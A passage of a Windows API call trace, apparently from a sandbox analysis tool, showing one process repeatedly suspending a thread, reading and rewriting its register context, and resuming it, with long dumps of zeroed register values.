[27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0125.470] SetThreadContext (hThread=0x130, lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147be0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12f89c0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0125.538] ResumeThread (hThread=0x130) returned 0x1
[0125.538] CloseHandle (hObject=0x130) returned 1
[0125.538] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0125.572] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0125.606] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0125.683] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0125.778] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0125.778] SuspendThread (hThread=0x130) returned 0x0
[0125.778] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147be8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x1609fe0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0125.903] SetThreadContext (hThread=0x130, lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147be0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12f89c0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0125.979] ResumeThread (hThread=0x130) returned 0x1
[0125.979] CloseHandle (hObject=0x130) returned 1
[0125.979] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0126.014] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0126.049] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0126.126] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0126.200] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0126.200] SuspendThread (hThread=0x130) returned 0x0
[0126.201] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147858, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x160c0e0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0126.269] SetThreadContext (hThread=0x130, lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147850, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12f89c0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, 